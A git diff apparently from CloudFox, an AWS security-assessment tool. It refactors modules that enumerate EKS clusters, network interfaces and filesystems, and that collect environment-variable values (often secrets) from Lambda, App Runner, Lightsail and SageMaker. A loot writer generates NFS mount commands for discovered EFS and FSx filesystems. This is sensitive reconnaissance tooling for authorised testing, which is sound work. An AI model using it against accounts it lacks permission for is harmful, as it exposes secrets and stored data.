servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("eks", r)
|
||||
if err != nil {
|
||||
@@ -270,16 +314,19 @@ func (m *EKSModule) getEKSRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
|
||||
<-semaphore
|
||||
}()
|
||||
var clusters []string
|
||||
var role string
|
||||
|
||||
clusters, err := m.listClusters(r)
|
||||
clusters, err := sdk.CachedEKSListClusters(m.EKSClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
|
||||
for _, clusterName := range clusters {
|
||||
clusterDetails, err := m.describeCluster(clusterName, r)
|
||||
var role string
|
||||
var oidc string = ""
|
||||
var publicEndpoint = ""
|
||||
clusterDetails, err := sdk.CachedEKSDescribeCluster(m.EKSClient, aws.ToString(m.Caller.Account), clusterName, r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -287,20 +334,25 @@ func (m *EKSModule) getEKSRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
|
||||
|
||||
//nodeGroups = append(nodeGroups, DescribeCluster.Cluster.)
|
||||
endpoint := aws.ToString(clusterDetails.Endpoint)
|
||||
oidc := aws.ToString(clusterDetails.Identity.Oidc.Issuer)
|
||||
publicEndpoint := strconv.FormatBool(clusterDetails.ResourcesVpcConfig.EndpointPublicAccess)
|
||||
if clusterDetails.Identity != nil && clusterDetails.Identity.Oidc != nil {
|
||||
oidc = aws.ToString(clusterDetails.Identity.Oidc.Issuer)
|
||||
|
||||
}
|
||||
if clusterDetails.ResourcesVpcConfig != nil {
|
||||
publicEndpoint = strconv.FormatBool(clusterDetails.ResourcesVpcConfig.EndpointPublicAccess)
|
||||
}
|
||||
// if DescribeCluster.Cluster.ResourcesVpcConfig.PublicAccessCidrs[0] == "0.0.0.0/0" {
|
||||
// publicCIDRs := "0.0.0.0/0"
|
||||
// } else {
|
||||
// publicCIDRs := "specific IPs"
|
||||
// }
|
||||
|
||||
ListNodeGroups := m.listNodeGroups(clusterName, r)
|
||||
ListNodeGroups, err := sdk.CachedEKSListNodeGroups(m.EKSClient, aws.ToString(m.Caller.Account), clusterName, r)
|
||||
|
||||
if len(ListNodeGroups) > 0 {
|
||||
for _, nodeGroup := range ListNodeGroups {
|
||||
|
||||
nodeGroupDetails, err := m.describeNodegroup(clusterName, nodeGroup, r)
|
||||
nodeGroupDetails, err := sdk.CachedEKSDescribeNodeGroup(m.EKSClient, aws.ToString(m.Caller.Account), clusterName, nodeGroup, r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -341,109 +393,3 @@ func (m *EKSModule) getEKSRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *EKSModule) listClusters(r string) ([]string, error) {
|
||||
var PaginationControl *string
|
||||
var clusters []string
|
||||
|
||||
for {
|
||||
ListClusters, err := m.EKSClientListClustersInterface.ListClusters(
|
||||
context.TODO(),
|
||||
&eks.ListClustersInput{
|
||||
NextToken: PaginationControl,
|
||||
},
|
||||
func(o *eks.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return clusters, err
|
||||
}
|
||||
|
||||
clusters = append(clusters, ListClusters.Clusters...)
|
||||
// The "NextToken" value is nil when there's no more data to return.
|
||||
if ListClusters.NextToken != nil {
|
||||
PaginationControl = ListClusters.NextToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
}
|
||||
|
||||
}
|
||||
return clusters, nil
|
||||
}
|
||||
|
||||
func (m *EKSModule) listNodeGroups(clusterName string, r string) []string {
|
||||
var PaginationControl *string
|
||||
var nodeGroups []string
|
||||
for {
|
||||
ListNodeGroups, err := m.EKSClientListNodeGroupsInterface.ListNodegroups(
|
||||
context.TODO(),
|
||||
&eks.ListNodegroupsInput{
|
||||
ClusterName: &clusterName,
|
||||
NextToken: PaginationControl,
|
||||
},
|
||||
func(o *eks.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
|
||||
nodeGroups = append(nodeGroups, ListNodeGroups.Nodegroups...)
|
||||
if ListNodeGroups.NextToken != nil {
|
||||
PaginationControl = ListNodeGroups.NextToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
}
|
||||
|
||||
}
|
||||
return nodeGroups
|
||||
}
|
||||
|
||||
func (m *EKSModule) describeCluster(clusterName string, r string) (*types.Cluster, error) {
|
||||
|
||||
var err error
|
||||
//var clusterDetails types.Cluster
|
||||
DescribeCluster, err := m.EKSClientDescribeClusterInterface.DescribeCluster(
|
||||
context.TODO(),
|
||||
&eks.DescribeClusterInput{
|
||||
Name: &clusterName,
|
||||
},
|
||||
func(o *eks.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
|
||||
return DescribeCluster.Cluster, err
|
||||
|
||||
}
|
||||
|
||||
func (m *EKSModule) describeNodegroup(clusterName string, nodeGroup string, r string) (*types.Nodegroup, error) {
|
||||
DescribeNodegroup, err := m.EKSClientDescribeNodeGroupInterface.DescribeNodegroup(
|
||||
context.TODO(),
|
||||
&eks.DescribeNodegroupInput{
|
||||
ClusterName: &clusterName,
|
||||
NodegroupName: &nodeGroup,
|
||||
},
|
||||
func(o *eks.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
|
||||
}
|
||||
return DescribeNodegroup.Nodegroup, err
|
||||
}
|
||||
+6
-21
@@ -12,22 +12,10 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
)
|
||||
|
||||
type MockedEKSClientListClusters struct {
|
||||
type MockedEKSClientInterface struct {
|
||||
}
|
||||
|
||||
type MockedEKSClientDescribeCluster struct {
|
||||
}
|
||||
|
||||
type MockedEKSClientListNodegroups struct {
|
||||
}
|
||||
|
||||
type MockedEKSClientDescribeNodegroup struct {
|
||||
}
|
||||
|
||||
type MockedIAMSimulatePrincipalPolicy struct {
|
||||
}
|
||||
|
||||
func (m *MockedEKSClientListClusters) ListClusters(ctx context.Context, params *eks.ListClustersInput, optFns ...func(*eks.Options)) (*eks.ListClustersOutput, error) {
|
||||
func (m *MockedEKSClientInterface) ListClusters(ctx context.Context, params *eks.ListClustersInput, optFns ...func(*eks.Options)) (*eks.ListClustersOutput, error) {
|
||||
testClusters := []string{}
|
||||
testClusters = append(testClusters, "test1")
|
||||
|
||||
@@ -38,7 +26,7 @@ func (m *MockedEKSClientListClusters) ListClusters(ctx context.Context, params *
|
||||
return testListClustersOutput, nil
|
||||
}
|
||||
|
||||
func (m *MockedEKSClientDescribeCluster) DescribeCluster(context.Context, *eks.DescribeClusterInput, ...func(*eks.Options)) (*eks.DescribeClusterOutput, error) {
|
||||
func (m *MockedEKSClientInterface) DescribeCluster(context.Context, *eks.DescribeClusterInput, ...func(*eks.Options)) (*eks.DescribeClusterOutput, error) {
|
||||
testIdentity := types.Identity{
|
||||
Oidc: &types.OIDC{
|
||||
Issuer: aws.String("abc123"),
|
||||
@@ -61,7 +49,7 @@ func (m *MockedEKSClientDescribeCluster) DescribeCluster(context.Context, *eks.D
|
||||
return testDescribeClusterOutput, nil
|
||||
}
|
||||
|
||||
func (m *MockedEKSClientListNodegroups) ListNodegroups(ctx context.Context, params *eks.ListNodegroupsInput, optFns ...func(*eks.Options)) (*eks.ListNodegroupsOutput, error) {
|
||||
func (m *MockedEKSClientInterface) ListNodegroups(ctx context.Context, params *eks.ListNodegroupsInput, optFns ...func(*eks.Options)) (*eks.ListNodegroupsOutput, error) {
|
||||
testNodegroups := []string{}
|
||||
testNodegroups = append(testNodegroups, "test1")
|
||||
|
||||
@@ -72,7 +60,7 @@ func (m *MockedEKSClientListNodegroups) ListNodegroups(ctx context.Context, para
|
||||
return testListNodegroupsOutput, nil
|
||||
}
|
||||
|
||||
func (m *MockedEKSClientDescribeNodegroup) DescribeNodegroup(context.Context, *eks.DescribeNodegroupInput, ...func(*eks.Options)) (*eks.DescribeNodegroupOutput, error) {
|
||||
func (m *MockedEKSClientInterface) DescribeNodegroup(context.Context, *eks.DescribeNodegroupInput, ...func(*eks.Options)) (*eks.DescribeNodegroupOutput, error) {
|
||||
testNodegroup := types.Nodegroup{}
|
||||
testNodegroup.NodeRole = aws.String("roleABC")
|
||||
testDescribeNodegroupOutput := &eks.DescribeNodegroupOutput{
|
||||
@@ -95,10 +83,7 @@ func TestEks(t *testing.T) {
|
||||
outputDirectory: ".",
|
||||
verbosity: 2,
|
||||
testModule: EKSModule{
|
||||
EKSClientListClustersInterface: &MockedEKSClientListClusters{},
|
||||
EKSClientDescribeClusterInterface: &MockedEKSClientDescribeCluster{},
|
||||
EKSClientListNodeGroupsInterface: &MockedEKSClientListNodegroups{},
|
||||
EKSClientDescribeNodeGroupInterface: &MockedEKSClientDescribeNodegroup{},
|
||||
EKSClient: &MockedEKSClientInterface{},
|
||||
//IAMSimulatePrincipalPolicyClient: iam.SimulatePrincipalPolicyAPIClient,
|
||||
Caller: sts.GetCallerIdentityOutput{Arn: aws.String("test")},
|
||||
OutputFormat: "table",
|
||||
|
||||
@@ -84,7 +84,7 @@ func (m *ElasticNetworkInterfacesModule) ElasticNetworkInterfaces(outputFormat s
|
||||
receiverDone <- true
|
||||
<-receiverDone
|
||||
|
||||
m.printENIsData(outputFormat, outputDirectory, dataReceiver)
|
||||
m.printENIsData(outputFormat, outputDirectory, dataReceiver, verbosity)
|
||||
|
||||
}
|
||||
|
||||
@@ -101,7 +101,7 @@ func (m *ElasticNetworkInterfacesModule) Receiver(receiver chan MappedENI, recei
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ElasticNetworkInterfacesModule) printENIsData(outputFormat string, outputDirectory string, dataReceiver chan MappedENI) {
|
||||
func (m *ElasticNetworkInterfacesModule) printENIsData(outputFormat string, outputDirectory string, dataReceiver chan MappedENI, verbosity int) {
|
||||
m.output.Headers = []string{
|
||||
"ID",
|
||||
"Type",
|
||||
@@ -126,11 +126,27 @@ func (m *ElasticNetworkInterfacesModule) printENIsData(outputFormat string, outp
|
||||
)
|
||||
}
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
//utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
|
||||
internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
|
||||
m.writeLoot(m.output.FilePath)
|
||||
//m.writeLoot(m.output.FilePath)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
m.writeLoot(o.Table.DirectoryName)
|
||||
fmt.Printf("[%s][%s] %s elastic network interfaces found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
|
||||
} else {
|
||||
@@ -180,7 +196,7 @@ func (m *ElasticNetworkInterfacesModule) writeLoot(outputDirectory string) {
|
||||
func (m *ElasticNetworkInterfacesModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver chan MappedENI) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("ec2", r)
|
||||
if err != nil {
|
||||
|
||||
+775
-649
File diff suppressed because it is too large.
Load diff
+74
-99
@@ -8,6 +8,7 @@ import (
|
||||
"strconv"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/cloudfox/aws/sdk"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/apprunner"
|
||||
@@ -139,10 +140,25 @@ func (m *EnvsModule) PrintEnvs(outputFormat string, outputDirectory string, verb
|
||||
}
|
||||
if len(m.output.Body) > 0 {
|
||||
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
//m.output.OutputSelector(outputFormat)
|
||||
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
|
||||
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
fmt.Printf("[%s][%s] %s environment variables found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
|
||||
} else {
|
||||
@@ -178,7 +194,7 @@ func (m *EnvsModule) Receiver(receiver chan EnvironmentVariable, receiverDone ch
|
||||
func (m *EnvsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan EnvironmentVariable) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, _ := servicemap.IsServiceInRegion("ecs", r)
|
||||
if res {
|
||||
@@ -328,38 +344,18 @@ func (m *EnvsModule) getLambdaEnvironmentVariablesPerRegion(region string, wg *s
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationMarker *string
|
||||
|
||||
// This for loop exits at the end dependeding on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
for {
|
||||
functions, err := m.LambdaClient.ListFunctions(
|
||||
context.TODO(),
|
||||
&lambda.ListFunctionsInput{
|
||||
Marker: PaginationMarker,
|
||||
},
|
||||
func(o *lambda.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
|
||||
for _, function := range functions.Functions {
|
||||
m.getLambdaEnvironmentVariablesPerFunction(function, region, dataReceiver)
|
||||
}
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if functions.NextMarker != nil {
|
||||
PaginationMarker = functions.NextMarker
|
||||
} else {
|
||||
PaginationMarker = nil
|
||||
break
|
||||
}
|
||||
Functions, err := sdk.CachedLambdaListFunctions(m.LambdaClient, aws.ToString(m.Caller.Account), region)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
|
||||
for _, function := range Functions {
|
||||
m.getLambdaEnvironmentVariablesPerFunction(function, region, dataReceiver)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *EnvsModule) getLambdaEnvironmentVariablesPerFunction(function lambdaTypes.FunctionConfiguration, region string, dataReceiver chan EnvironmentVariable) {
|
||||
@@ -390,69 +386,51 @@ func (m *EnvsModule) getAppRunnerEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationControl *string
|
||||
|
||||
for {
|
||||
ListServices, err := m.AppRunnerClient.ListServices(
|
||||
context.TODO(),
|
||||
&(apprunner.ListServicesInput{
|
||||
NextToken: PaginationControl,
|
||||
}),
|
||||
func(o *apprunner.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
if len(ListServices.ServiceSummaryList) > 0 {
|
||||
ServiceSummaryList, err := sdk.CachedAppRunnerListServices(m.AppRunnerClient, aws.ToString(m.Caller.Account), r)
|
||||
|
||||
for _, service := range ListServices.ServiceSummaryList {
|
||||
name := aws.ToString(service.ServiceName)
|
||||
arn := aws.ToString(service.ServiceArn)
|
||||
awsService := "App Runner"
|
||||
if err != nil {
|
||||
//modLog.Error(err.Error())
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
if len(ServiceSummaryList) > 0 {
|
||||
|
||||
DescribeService, err := m.AppRunnerClient.DescribeService(
|
||||
context.TODO(),
|
||||
&apprunner.DescribeServiceInput{
|
||||
ServiceArn: &arn,
|
||||
},
|
||||
func(o *apprunner.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
for _, service := range ServiceSummaryList {
|
||||
name := aws.ToString(service.ServiceName)
|
||||
arn := aws.ToString(service.ServiceArn)
|
||||
awsService := "App Runner"
|
||||
|
||||
}
|
||||
|
||||
if len(DescribeService.Service.SourceConfiguration.ImageRepository.ImageConfiguration.RuntimeEnvironmentVariables) > 0 {
|
||||
for k, v := range DescribeService.Service.SourceConfiguration.ImageRepository.ImageConfiguration.RuntimeEnvironmentVariables {
|
||||
//fmt.Printf("%s - %s", k, v)
|
||||
dataReceiver <- EnvironmentVariable{
|
||||
service: awsService,
|
||||
name: name,
|
||||
region: r,
|
||||
environmentVarName: k,
|
||||
environmentVarValue: v,
|
||||
}
|
||||
}
|
||||
}
|
||||
DescribeService, err := m.AppRunnerClient.DescribeService(
|
||||
context.TODO(),
|
||||
&apprunner.DescribeServiceInput{
|
||||
ServiceArn: &arn,
|
||||
},
|
||||
func(o *apprunner.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// The "NextToken" value is nil when there's no more data to return.
|
||||
if ListServices.NextToken != nil {
|
||||
PaginationControl = ListServices.NextToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
if len(DescribeService.Service.SourceConfiguration.ImageRepository.ImageConfiguration.RuntimeEnvironmentVariables) > 0 {
|
||||
for k, v := range DescribeService.Service.SourceConfiguration.ImageRepository.ImageConfiguration.RuntimeEnvironmentVariables {
|
||||
//fmt.Printf("%s - %s", k, v)
|
||||
dataReceiver <- EnvironmentVariable{
|
||||
service: awsService,
|
||||
name: name,
|
||||
region: r,
|
||||
environmentVarName: k,
|
||||
environmentVarValue: v,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -473,13 +451,7 @@ func (m *EnvsModule) getLightsailEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
m.CommandCounter.Executing++
|
||||
awsService := "Lightsail [Container]"
|
||||
|
||||
GetContainerServices, err := m.LightsailClient.GetContainerServices(
|
||||
context.TODO(),
|
||||
&(lightsail.GetContainerServicesInput{}),
|
||||
func(o *lightsail.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
ContainerServices, err := sdk.CachedLightsailGetContainerServices(m.LightsailClient, aws.ToString(m.Caller.Account), r)
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
@@ -489,9 +461,9 @@ func (m *EnvsModule) getLightsailEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
|
||||
if err == nil {
|
||||
|
||||
if len(GetContainerServices.ContainerServices) > 0 {
|
||||
if len(ContainerServices) > 0 {
|
||||
|
||||
for _, containerService := range GetContainerServices.ContainerServices {
|
||||
for _, containerService := range ContainerServices {
|
||||
for _, container := range containerService.CurrentDeployment.Containers {
|
||||
for k, v := range container.Environment {
|
||||
name := aws.ToString(containerService.ContainerServiceName)
|
||||
@@ -750,7 +722,10 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
if err == nil {
|
||||
|
||||
// find the number of environment variables in the model in a pointer safe way
|
||||
|
||||
if DescribeModel.PrimaryContainer != nil {
|
||||
|
||||
if len(DescribeModel.PrimaryContainer.Environment) > 0 {
|
||||
name := fmt.Sprintf("[Model] %s", aws.ToString(DescribeModel.ModelName))
|
||||
|
||||
+96
-85
@@ -9,19 +9,18 @@ import (
|
||||
"strconv"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/cloudfox/aws/sdk"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/efs"
|
||||
"github.com/aws/aws-sdk-go-v2/service/efs/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/fsx"
|
||||
fsxTypes "github.com/aws/aws-sdk-go-v2/service/fsx/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/bishopfox/awsservicemap"
|
||||
"github.com/fatih/color"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
var green = color.New(color.FgGreen).SprintFunc()
|
||||
|
||||
type FilesystemsModule struct {
|
||||
// General configuration data
|
||||
|
||||
@@ -53,6 +52,7 @@ type FilesystemObject struct {
|
||||
IP string
|
||||
Policy string
|
||||
MountTarget string
|
||||
Permissions string
|
||||
}
|
||||
|
||||
func (m *FilesystemsModule) PrintFilesystems(outputFormat string, outputDirectory string, verbosity int) {
|
||||
@@ -66,10 +66,6 @@ func (m *FilesystemsModule) PrintFilesystems(outputFormat string, outputDirector
|
||||
if m.AWSProfile == "" {
|
||||
m.AWSProfile = internal.BuildAWSPath(m.Caller)
|
||||
}
|
||||
//populate region in the filesystems module struct
|
||||
for i, region := range m.AWSRegions {
|
||||
m.Regions[i].Region = region
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating filesystems for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
fmt.Printf("[%s][%s] Supported Services: EFS, FSx \n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
@@ -118,6 +114,7 @@ func (m *FilesystemsModule) PrintFilesystems(outputFormat string, outputDirector
|
||||
//"IP",
|
||||
"Mount Target",
|
||||
"Policy",
|
||||
"Permissions",
|
||||
}
|
||||
|
||||
// Table rows
|
||||
@@ -132,17 +129,34 @@ func (m *FilesystemsModule) PrintFilesystems(outputFormat string, outputDirector
|
||||
//m.Filesystems[i].IP,
|
||||
m.Filesystems[i].MountTarget,
|
||||
m.Filesystems[i].Policy,
|
||||
m.Filesystems[i].Permissions,
|
||||
},
|
||||
)
|
||||
|
||||
}
|
||||
if len(m.output.Body) > 0 {
|
||||
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
//m.output.OutputSelector(outputFormat)
|
||||
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
|
||||
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
m.writeLoot(m.output.FilePath, verbosity)
|
||||
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//m.writeLoot(m.output.FilePath, verbosity)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
m.writeLoot(o.Table.DirectoryName, verbosity)
|
||||
fmt.Printf("[%s][%s] %s filesystems found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
|
||||
} else {
|
||||
@@ -168,7 +182,7 @@ func (m *FilesystemsModule) Receiver(receiver chan FilesystemObject, receiverDon
|
||||
func (m *FilesystemsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan FilesystemObject) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("efs", r)
|
||||
if err != nil {
|
||||
@@ -187,7 +201,8 @@ func (m *FilesystemsModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
path := filepath.Join(outputDirectory, "loot")
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
sharedLogger.Error(err.Error())
|
||||
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
f := filepath.Join(path, "filesystems-mount-commands.txt")
|
||||
@@ -198,8 +213,8 @@ func (m *FilesystemsModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
switch m.Filesystems[i].AWSService {
|
||||
case "EFS":
|
||||
out = out + fmt.Sprintf("########## Mount instructions for %s - %s ##########\n", m.Filesystems[i].AWSService, m.Filesystems[i].Name)
|
||||
out = out + fmt.Sprintf("mkdir -p /efs/%s/\n", m.Filesystems[i].MountTarget)
|
||||
out = out + fmt.Sprintf("sudo mount -t nfs -o nfsvers=4.1,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,noresvport %s:/ /efs/%s\n\n", m.Filesystems[i].DnsName, m.Filesystems[i].MountTarget)
|
||||
out = out + fmt.Sprintf("mkdir -p /efs%s/\n", m.Filesystems[i].MountTarget)
|
||||
out = out + fmt.Sprintf("sudo mount -t nfs -o nfsvers=4.1,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,noresvport %s:/ /efs%s\n\n", m.Filesystems[i].DnsName, m.Filesystems[i].MountTarget)
|
||||
case "FSx [LUSTRE]":
|
||||
out = out + fmt.Sprintf("########## Mount instructions for %s - %s ##########\n", m.Filesystems[i].AWSService, m.Filesystems[i].Name)
|
||||
out = out + fmt.Sprintln("#sudo amazon-linux-extras install -y lustre2.10")
|
||||
